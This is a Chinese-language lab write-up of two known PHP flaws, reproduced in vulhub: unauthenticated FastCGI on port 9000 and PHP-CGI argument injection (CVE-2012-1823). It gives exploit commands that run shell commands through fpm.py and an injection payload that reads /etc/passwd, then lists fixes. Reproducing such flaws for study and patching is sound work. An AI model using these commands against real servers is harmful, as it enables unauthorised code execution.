(一) FastCGI未授权访问、任意命令执行
1、 漏洞简介及成因
服务端使用fastcgi协议并对外网开放9000端口,可以构造fastcgi协议包内容,实现未授权访问服务端.php文件以及执行任意命令。
2、 漏洞复现
使用vulhub实验环境,启动实验环境。
在攻击机使用命令python fpm.py 192.168.237.136 /etc/passwd,观察返回结果。
由于访问非*.PHP文件,所以返回结果403。
使用命令执行一个默认存在的 php 文件。
python fpm.py 192.168.237.136 /usr/local/lib/php/PEAR.php
利用命令进行任意命令执行复现。
python fpm.py 192.168.139.129 /usr/local/lib/php/PEAR.php-c '<?php
echo `pwd`; ?>' python fpm.py 192.168.139.129 /usr/local/lib/php/PEAR.php-c '<?php echo `ifconfig`; ?>' python fpm.py 192.168.139.129 /usr/local/lib/php/PEAR.php-c '<?php echo `ls`; ?>'
3、 漏洞修复
更改默认端口
(二) PHPCGI远程代码执行
1、 漏洞简介及成因
在apache调用php解释器解释.php文件时,会将url参数传我给php解释器,如果在url后加传命令行开关(例如-s、-d 、-c或-dauto_prepend_file%3d/etc/passwd+-n)等参数 时,会导致源代码泄露和任意代码执行。
此漏洞影响php-5.3.12以前的版本,mod方式、fpm方式不受影响。
2、 漏洞复现
使用vulhub实验环境,启动环境。
访问http://192.168.139.129:8080/index.php。
抓包,修改包。
命令成功执行。
3、 漏洞修复
三种方法:
1)升级php版本;(php-5.3.12以上版本);
2)在apache上做文章,开启url过滤,把危险的命令行参数给过滤掉,由于这种方法修补比较简单,采用比较多吧。
具体做法:
修改http.conf文件,找到<Directory/>增加以下三行
RewriteEngine on
RewriteCond %{QUERY_STRING} ^(%2d|-)[^=]+$ [NC]
RewriteRule ^(.*) $1? [L]
重启一下apache即可,但是要考虑到,相当于每次request就要进行一次url过滤,如果访问量大的话,可能会增加apache的负担。
3)打上php补丁。
补丁下载地址:https://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/